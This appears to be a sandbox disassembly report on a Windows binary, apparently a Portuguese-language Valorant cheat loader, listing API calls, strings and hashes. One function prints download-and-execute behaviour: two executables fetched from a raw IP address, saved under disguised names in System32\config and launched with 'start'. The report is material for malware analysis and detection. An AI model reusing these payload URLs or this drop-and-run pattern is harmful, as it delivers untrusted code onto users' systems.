PUT, xrefs: 00007FF6029D0018
Accept, xrefs: 00007FF6029D0973
Expect:, xrefs: 00007FF6029D1495, 00007FF6029D170A
Could only read %I64d bytes from the input, xrefs: 00007FF6029D0B25
ftp, xrefs: 00007FF6029D0889
Proxy-Connection: Keep-Alive, xrefs: 00007FF6029D0D9F, 00007FF6029D0DB4
%s, xrefs: 00007FF6029D1453
100-continue, xrefs: 00007FF6029D1516, 00007FF6029D1796
%s: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 00007FF6029D11F4
chunked, xrefs: 00007FF6029D04D6
Transfer-Encoding, xrefs: 00007FF6029D042D
If-Modified-Since, xrefs: 00007FF6029D116D
1.0, xrefs: 00007FF6029D0C00
%s , xrefs: 00007FF6029D0C33
Content-Range: bytes %s%I64d/%I64d, xrefs: 00007FF6029D0BA8
Last-Modified, xrefs: 00007FF6029D115B
upload completely sent off: %I64d out of %I64d bytes, xrefs: 00007FF6029D1A7E
Host:%s, xrefs: 00007FF6029D06C6
If-Unmodified-Since, xrefs: 00007FF6029D1164
%x, xrefs: 00007FF6029D1875
Failed sending PUT request, xrefs: 00007FF6029D1349
Range: bytes=%s, xrefs: 00007FF6029D09FE
Accept: */*, xrefs: 00007FF6029D0985
%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00007FF6029D0EDB
Host: %s%s%s, xrefs: 00007FF6029D073D
%s%s, xrefs: 00007FF6029D10B0
Host, xrefs: 00007FF6029D05C9
Transfer-Encoding: chunked, xrefs: 00007FF6029D058F
Cookie, xrefs: 00007FF6029D02A2
;type=%c, xrefs: 00007FF6029D0921
%s%s=%s, xrefs: 00007FF6029D1029
ftp://%s:%s@%s, xrefs: 00007FF6029D0CCB
Proxy-Connection, xrefs: 00007FF6029D0D73
Content-Range: bytes 0-%I64d/%I64d, xrefs: 00007FF6029D0B84
Content-Length: %I64d, xrefs: 00007FF6029D12CB, 00007FF6029D1420, 00007FF6029D16A5
Referer, xrefs: 00007FF6029D0233
Failed sending HTTP POST request, xrefs: 00007FF6029D197B
Content-Length: 0, xrefs: 00007FF6029D1370
Cookie: , xrefs: 00007FF6029D100E, 00007FF6029D1084
;type=, xrefs: 00007FF6029D08AE
Host:, xrefs: 00007FF6029D0691
0, xrefs: 00007FF6029D18C6, 00007FF6029D19C5
Range, xrefs: 00007FF6029D09D2
?%s, xrefs: 00007FF6029D0D0B
multipart/form-data, xrefs: 00007FF6029D03CA
Could not seek stream, xrefs: 00007FF6029D0A68
Content-Type, xrefs: 00007FF6029D0387, 00007FF6029D16BD
HEAD, xrefs: 00007FF6029CFFE1
Content-Range, xrefs: 00007FF6029D0B4E
Accept-Encoding: %s, xrefs: 00007FF6029D02F2
Accept-Encoding, xrefs: 00007FF6029D02C1
Referer: %s, xrefs: 00007FF6029D024E
Invalid TIMEVALUE, xrefs: 00007FF6029D1123
Failed sending POST request, xrefs: 00007FF6029D13A9, 00007FF6029D15ED
POST, xrefs: 00007FF6029D0025
GET, xrefs: 00007FF6029D0032
Failed sending HTTP request, xrefs: 00007FF6029D1646
User-Agent, xrefs: 00007FF6029D003D
Expect, xrefs: 00007FF6029D1474, 00007FF6029D16E9
File already completely uploaded, xrefs: 00007FF6029D0B09

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$strchr$_strdup$callocmemcpystrstr
String ID: %s$%s $%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s$%s%s$%s%s=%s$%s: %s, %02d %s %4d %02d:%02d:%02d GMT$%s?%s$%x$0$1.0$1.1$100-continue$;type=$;type=%c$?%s$Accept$Accept-Encoding$Accept-Encoding: %s$Accept: */*$Chunky upload is not supported by HTTP 1.0$Content-Length$Content-Length: %I64d$Content-Length: 0$Content-Range$Content-Range: bytes %s%I64d/%I64d$Content-Range: bytes %s/%I64d$Content-Range: bytes 0-%I64d/%I64d$Content-Type$Content-Type: application/x-www-form-urlencoded$Cookie$Cookie: $Could not seek stream$Could only read %I64d bytes from the input$Expect$Expect:$Failed sending HTTP POST request$Failed sending HTTP request$Failed sending POST request$Failed sending PUT request$File already completely uploaded$GET$HEAD$Host$Host:$Host: %s%s%s$Host: %s%s%s:%d$Host:%s$If-Modified-Since$If-Unmodified-Since$Invalid TIMEVALUE$Last-Modified$OPTIONS$POST$PUT$Proxy-Connection$Proxy-Connection: Keep-Alive$Range$Range: bytes=%s$Referer$Referer: %s$Transfer-Encoding$Transfer-Encoding:$Transfer-Encoding: chunked$User-Agent$chunked$ftp$ftp://%s:%s@%s$http$multipart/form-data$upload completely sent off: %I64d out of %I64d bytes
API String ID: 2045874074-4264080130
Opcode ID: 4168fa95d65f54a1e0795bddf3cd2d3dada032a491ce2ca990e0fbb27d0a3f89
Instruction ID: 13244301a96676a06906eaff01dceb14ea6cb696a4a16db735a3a47ad8809c43
Opcode Fuzzy Hash: 4168fa95d65f54a1e0795bddf3cd2d3dada032a491ce2ca990e0fbb27d0a3f89
Instruction Fuzzy Hash: B503AD22E09A8285FB658B66D8403B92FA1BF45B8CF644036CE4D97697EFBCF455D300

Function 00007FF6029B1E40 Relevance: 124.5, APIs: 58, Strings: 13, Instructions: 288
processsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6029FFB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF6029A43FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029FFB32

_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B1EA4
_Thrd_detach.MSVCP140 ref: 00007FF6029B1ED3
GetStdHandle.KERNEL32 ref: 00007FF6029B1EEE
GetConsoleMode.KERNELBASE ref: 00007FF6029B1EFF
SetConsoleMode.KERNELBASE ref: 00007FF6029B1F12
GetStdHandle.KERNEL32 ref: 00007FF6029B1F1D
GetConsoleScreenBufferInfoEx.KERNELBASE ref: 00007FF6029B1F34
SetConsoleScreenBufferInfoEx.KERNELBASE ref: 00007FF6029B1F59
GetConsoleMode.KERNELBASE ref: 00007FF6029B1F67
SetConsoleMode.KERNELBASE ref: 00007FF6029B1F7B
GetConsoleWindow.KERNELBASE ref: 00007FF6029B1F81
GetWindowLongA.USER32 ref: 00007FF6029B1F92
SetWindowLongA.USER32 ref: 00007FF6029B1FA8
GetConsoleWindow.KERNELBASE ref: 00007FF6029B1FAE
GetWindowRect.USER32 ref: 00007FF6029B1FBF
MoveWindow.USER32 ref: 00007FF6029B1FE7
GetStdHandle.KERNEL32 ref: 00007FF6029B1FF2
SetConsoleTextAttribute.KERNELBASE ref: 00007FF6029B2000
GetStdHandle.KERNEL32 ref: 00007FF6029B2017
SetConsoleTextAttribute.KERNELBASE ref: 00007FF6029B2025
GetStdHandle.KERNEL32 ref: 00007FF6029B2048
SetConsoleTextAttribute.KERNELBASE ref: 00007FF6029B2056
GetStdHandle.KERNEL32 ref: 00007FF6029B206D
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B207B

Part of subcall function 00007FF6029B2380: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029B23A4
Part of subcall function 00007FF6029B2380: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029B23C5

GetStdHandle.KERNEL32 ref: 00007FF6029B2092
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B20A0
GetStdHandle.KERNEL32 ref: 00007FF6029B20B7
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B20C5
GetStdHandle.KERNEL32 ref: 00007FF6029B20DC
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B20EA
GetStdHandle.KERNEL32 ref: 00007FF6029B2101
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B210F
GetStdHandle.KERNEL32 ref: 00007FF6029B2132
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B2140
GetStdHandle.KERNEL32 ref: 00007FF6029B2157
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B2165
GetStdHandle.KERNEL32 ref: 00007FF6029B217C
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B218A
GetStdHandle.KERNEL32 ref: 00007FF6029B21AD
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B21BB
GetStdHandle.KERNEL32 ref: 00007FF6029B21D2
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B21E0
GetStdHandle.KERNEL32 ref: 00007FF6029B21F7
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6029B2205
??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z.MSVCP140 ref: 00007FF6029B2223
URLDownloadToFileA.URLMON ref: 00007FF6029B227A
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2286
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2293
Sleep.KERNEL32 ref: 00007FF6029B229E
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B22A6
URLDownloadToFileA.URLMON ref: 00007FF6029B22FA
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2306
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2313
Sleep.KERNEL32 ref: 00007FF6029B231E
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2326
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2334
?_Throw_Cpp_error@std@@YAXH@Z.MSVCP140 ref: 00007FF6029B2363
?_Throw_Cpp_error@std@@YAXH@Z.MSVCP140 ref: 00007FF6029B2372

Strings

[ Selecione uma opcao: ], xrefs: 00007FF6029B205C
Iniciar Valorant Plus (HVCI HABILITADO): , xrefs: 00007FF6029B2190
C:\Windows\System32\config\ServceHubeinssDialog.exe, xrefs: 00007FF6029B22C4
##########################################################, xrefs: 00007FF6029B2081
Selecione a opcao: , xrefs: 00007FF6029B220B
start C:\Windows\System32\config\SerHuStinsHostDialog.exe, xrefs: 00007FF6029B228C
http://167.114.85.75/plushvcioffbronkzatualizadoh79.exe, xrefs: 00007FF6029B2232
start C:\Windows\System32\config\ServceHubeinssDialog.exe, xrefs: 00007FF6029B230C
Iniciar Valorant Plus (HVCI DESLIGADO): , xrefs: 00007FF6029B2115
##########################################################, xrefs: 00007FF6029B2037
C:\Windows\System32\config\SerHuStinsHostDialog.exe, xrefs: 00007FF6029B2243
http://167.114.85.75/plusattnewhvcionprivate.exe, xrefs: 00007FF6029B22B2
cd C:\, xrefs: 00007FF6029B227F, 00007FF6029B22FF

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Console$Handle$AttributeText$Window$Modesystem$BufferCpp_error@std@@DownloadFileInfoLongScreenSleepThrow_exit$??5?$basic_istream@D@std@@@std@@MoveRectThrd_detachU?$char_traits@V01@__acrt_iob_func__stdio_common_vfprintf_beginthreadexmallocterminate
String ID: Iniciar Valorant Plus (HVCI DESLIGADO): $ Iniciar Valorant Plus (HVCI HABILITADO): $ Selecione a opcao: $##########################################################$##########################################################$C:\Windows\System32\config\SerHuStinsHostDialog.exe$C:\Windows\System32\config\ServceHubeinssDialog.exe$[ Selecione uma opcao: ]$cd C:\$http://167.114.85.75/plusattnewhvcionprivate.exe$http://167.114.85.75/plushvcioffbronkzatualizadoh79.exe$start C:\Windows\System32\config\SerHuStinsHostDialog.exe$start C:\Windows\System32\config\ServceHubeinssDialog.exe
API String ID: 3379756739-3894013811
Opcode ID: 4519ff242e0ccbef95bfe72667addcaf5c00a9630420e14a4216ffcff7c97b11
Instruction ID: 63956706815ff8548e1c08fc68d578bbcb92d64320e3d2d1e15600d4f9f93814
Opcode Fuzzy Hash: 4519ff242e0ccbef95bfe72667addcaf5c00a9630420e14a4216ffcff7c97b11
Instruction Fuzzy Hash: 83D12521E09B4382EB049B71E8982797B61FF89B59F600235DE1E876E5DFBCE545C340

Function 00007FF6029DA84D Relevance: 116.1, APIs: 43, Strings: 23, Instructions: 552stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029DA9A8
strchr.VCRUNTIME140 ref: 00007FF6029DA9D4
strchr.VCRUNTIME140 ref: 00007FF6029DAA0E
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029DAA32
strchr.VCRUNTIME140 ref: 00007FF6029DAB42
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029DAB5A

Strings

http/1.1, xrefs: 00007FF6029DB077
schannel: ALPN, offering %s, xrefs: 00007FF6029DB085
schannel: using IP address, SNI is not supported by OS., xrefs: 00007FF6029DB043
Users, xrefs: 00007FF6029DAAC6
schannel: Failed to read cert file %s, xrefs: 00007FF6029DAF09
LocalMachine, xrefs: 00007FF6029DAA63
CurrentUserGroupPolicy, xrefs: 00007FF6029DAADD
schannel: Failed to get certificate from file %s, last error is 0x%x, xrefs: 00007FF6029DAE5F
schannel: Failed to open cert store %x %s, last error is 0x%x, xrefs: 00007FF6029DABC0
CurrentUser, xrefs: 00007FF6029DAA22
schannel: TLS 1.3 is not yet supported, xrefs: 00007FF6029DA8DB
schannel: Failed to import cert file %s, last error is 0x%x, xrefs: 00007FF6029DAE14
LocalMachineEnterprise, xrefs: 00007FF6029DAB1B
http/1.1, xrefs: 00007FF6029DB063
LocalMachineGroupPolicy, xrefs: 00007FF6029DAAFC
Unable to set ciphers to passed via SSL_CONN_CONFIG, xrefs: 00007FF6029DAA47
schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF6029DADE9
CurrentService, xrefs: 00007FF6029DAA85
schannel: AcquireCredentialsHandle failed: %s, xrefs: 00007FF6029DAFC5
schannel: Failed to get certificate location or file for %s, xrefs: 00007FF6029DAF32
Microsoft Unified Security Protocol Provider, xrefs: 00007FF6029DAF4F
schannel: unable to allocate memory, xrefs: 00007FF6029DAECC, 00007FF6029DB157
Services, xrefs: 00007FF6029DAAA7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdupstrncmpstrtol
String ID: CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Microsoft Unified Security Protocol Provider$Services$Unable to set ciphers to passed via SSL_CONN_CONFIG$Users$http/1.1$http/1.1$schannel: ALPN, offering %s$schannel: AcquireCredentialsHandle failed: %s$schannel: Failed to get certificate from file %s, last error is 0x%x$schannel: Failed to get certificate location or file for %s$schannel: Failed to import cert file %s, last error is 0x%x$schannel: Failed to import cert file %s, password is bad$schannel: Failed to open cert store %x %s, last error is 0x%x$schannel: Failed to read cert file %s$schannel: TLS 1.3 is not yet supported$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.
API String ID: 707411602-3372543188
Opcode ID: 05868821c97f94baf6164b8d17389528a2746141e5772ed87361180ad4809c89
Instruction ID: cc7a5e06167e5f67f8b931ef78bdf9f77eeca24d1438cdd16720e785c6e63f20
Opcode Fuzzy Hash: 05868821c97f94baf6164b8d17389528a2746141e5772ed87361180ad4809c89
Instruction Fuzzy Hash: AE42A131A08B4286EB648F26E8947B92BA4FF44B9CF604135CE5E87796DFBCE544D700

Function 00007FF6029C9290 Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 191
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00007FF6029C92B8
WSACleanup.WS2_32 ref: 00007FF6029C92D3
GetModuleHandleA.KERNEL32 ref: 00007FF6029C9324
GetProcAddress.KERNEL32 ref: 00007FF6029C9350
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C936A
LoadLibraryA.KERNEL32 ref: 00007FF6029C938D
GetProcAddress.KERNEL32 ref: 00007FF6029C93AA
LoadLibraryExA.KERNELBASE ref: 00007FF6029C93C0
GetSystemDirectoryA.KERNEL32 ref: 00007FF6029C93D6
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C93EE
GetSystemDirectoryA.KERNEL32 ref: 00007FF6029C9402
LoadLibraryA.KERNEL32 ref: 00007FF6029C9470
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C947C
GetProcAddress.KERNEL32 ref: 00007FF6029C94A8
VerSetConditionMask.KERNEL32 ref: 00007FF6029C9531
VerSetConditionMask.KERNEL32 ref: 00007FF6029C9544
VerSetConditionMask.KERNEL32 ref: 00007FF6029C9553
VerSetConditionMask.KERNEL32 ref: 00007FF6029C9562
VerSetConditionMask.KERNEL32 ref: 00007FF6029C9572
VerifyVersionInfoA.KERNEL32 ref: 00007FF6029C9583
QueryPerformanceFrequency.KERNEL32 ref: 00007FF6029C959F

Strings

AddDllDirectory, xrefs: 00007FF6029C93A0
iphlpapi.dll, xrefs: 00007FF6029C9356
LoadLibraryExA, xrefs: 00007FF6029C933E
if_nametoindex, xrefs: 00007FF6029C949E
kernel32, xrefs: 00007FF6029C930B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ConditionMask$AddressLibraryLoadProc$DirectorySystem$CleanupFrequencyHandleInfoModulePerformanceQueryStartupVerifyVersionfreemallocstrpbrk
String ID: AddDllDirectory$LoadLibraryExA$if_nametoindex$iphlpapi.dll$kernel32
API String ID: 2612373469-2794540096
Opcode ID: de4467785da5013e920e77c5cee71bf5eccab42b814541a419c8975c411fe98b
Instruction ID: a13a23380f456d31d984720b263f5aae8970741414a2e26b97aea72d2fa56ea3
Opcode Fuzzy Hash: de4467785da5013e920e77c5cee71bf5eccab42b814541a419c8975c411fe98b
Instruction Fuzzy Hash: 77917021E0878282FB648B22A4543BA7BA1FF89B88F644535DD8E87755EFBCE445C710

Function 00007FF6029C85D0 Relevance: 38.9, APIs: 15, Strings: 7, Instructions: 357
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FF6029C866C
socket.WS2_32 ref: 00007FF6029C86B5
htons.WS2_32 ref: 00007FF6029C8741
setsockopt.WS2_32 ref: 00007FF6029C87A3
WSAGetLastError.WS2_32 ref: 00007FF6029C87AD
getsockopt.WS2_32 ref: 00007FF6029C884F
setsockopt.WS2_32 ref: 00007FF6029C887E
setsockopt.WS2_32 ref: 00007FF6029C88BD
WSAIoctl.WS2_32 ref: 00007FF6029C894A
WSAGetLastError.WS2_32 ref: 00007FF6029C8954

Part of subcall function 00007FF6029D55A0: ioctlsocket.WS2_32 ref: 00007FF6029D55B9

Part of subcall function 00007FF6029CE0C0: QueryPerformanceCounter.KERNEL32(?,?,00000000,00007FF6029B613F), ref: 00007FF6029CE0D7

connect.WS2_32 ref: 00007FF6029C8A7B
WSAGetLastError.WS2_32 ref: 00007FF6029C8A98

Part of subcall function 00007FF6029B2E10: GetLastError.KERNEL32 ref: 00007FF6029B2E32
Part of subcall function 00007FF6029B2E10: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2E3A

Part of subcall function 00007FF6029C6400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6525
Part of subcall function 00007FF6029C6400: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029C6540

Part of subcall function 00007FF6029C6EE0: closesocket.WS2_32 ref: 00007FF6029C6F23

Strings

Trying %s:%ld..., xrefs: 00007FF6029C874F
Immediate connect fail for %s: %s, xrefs: 00007FF6029C8AC8
Could not set TCP_NODELAY: %s, xrefs: 00007FF6029C87CA
Failed to set SO_KEEPALIVE on fd %d, xrefs: 00007FF6029C88CA
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 00007FF6029C895D
@, xrefs: 00007FF6029C87E7
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00007FF6029C8B3E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast$setsockopt$fwrite$CounterIoctlPerformanceQuery_errnoclosesocketconnectgetsockopthtonsioctlsocketmemcpysocket
String ID: Trying %s:%ld...$ @$Could not set TCP_NODELAY: %s$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 3453287622-3868455274
Opcode ID: 7bf2d13336c310cc79c34e1abbc244edac4caa989a10c104aeb3ac690cade68f
Instruction ID: e06345bff957e63edb346f5706f2715f1243afb31376e263ac9d5b671cfe552c
Opcode Fuzzy Hash: 7bf2d13336c310cc79c34e1abbc244edac4caa989a10c104aeb3ac690cade68f
Instruction Fuzzy Hash: 8CF1D071A0828286EB55DB26D4542BE6BA0FF84B8CF704835DA4DC7B96DFBCE545CB00

Function 00007FF6029D5370 Relevance: 24.1, APIs: 16, Instructions: 127
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 00007FF6029D53B1
htonl.WS2_32 ref: 00007FF6029D53DE
setsockopt.WS2_32 ref: 00007FF6029D5415
bind.WS2_32 ref: 00007FF6029D5430
getsockname.WS2_32 ref: 00007FF6029D544C
listen.WS2_32 ref: 00007FF6029D5461
socket.WS2_32 ref: 00007FF6029D5478
connect.WS2_32 ref: 00007FF6029D5497
accept.WS2_32 ref: 00007FF6029D54AE
send.WS2_32 ref: 00007FF6029D54FC
recv.WS2_32 ref: 00007FF6029D551A
memcmp.VCRUNTIME140 ref: 00007FF6029D5535
closesocket.WS2_32 ref: 00007FF6029D5541

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: socket$acceptbindclosesocketconnectgetsocknamehtonllistenmemcmprecvsendsetsockopt
String ID:
API String ID: 3699910901-0
Opcode ID: 41927ea1387b75350c3ebf46daa169a36e0fbdbc2e22d370c80ef841000f6fad
Instruction ID: d9ec25c24898f24fb0c5deaa50f44e2232b128175d0126c2b1095ad97e92b021
Opcode Fuzzy Hash: 41927ea1387b75350c3ebf46daa169a36e0fbdbc2e22d370c80ef841000f6fad
Instruction Fuzzy Hash: 0C516231608B4281DB509F25E4A86697761EF45BB8FA04730EA7E876E4DFBCE849C700

Function 00007FF6029C7290 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Connection failed, xrefs: 00007FF6029C7676
connect to %s port %ld failed: %s, xrefs: 00007FF6029C750D
Failed to connect to %s port %ld: %s, xrefs: 00007FF6029C77BE
Connection time-out, xrefs: 00007FF6029C7379
After %I64dms connect time, move on!, xrefs: 00007FF6029C7455

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: After %I64dms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 0-3307081561
Opcode ID: 8dab91604582c7dfdda867cc57369ccadec8d7195b63645d62acc9508cc3d9a3
Instruction ID: 6af9893c37898bbcd703cbda5457fcfbe3ff0b7917df1b8cdd9fdc104b5784cf
Opcode Fuzzy Hash: 8dab91604582c7dfdda867cc57369ccadec8d7195b63645d62acc9508cc3d9a3
Instruction Fuzzy Hash: 71E1F221B0868282EB148B6695443FDABA5FF48B98F300635DE5D877C6DFBCE451CB00

Function 00007FF6029B1AA0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 195COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029B08F0: memcpy.VCRUNTIME140(?,0000006E00000006,?,FFFFFFFF,00007FF6029A11F9), ref: 00007FF6029B0928

SleepEx.KERNELBASE ref: 00007FF6029B1C5F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B1CD3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B1D14
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B1D4C

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789, xrefs: 00007FF6029B1AF9
PRIVATE STORE - , xrefs: 00007FF6029B1C7B

Memory Dump Source

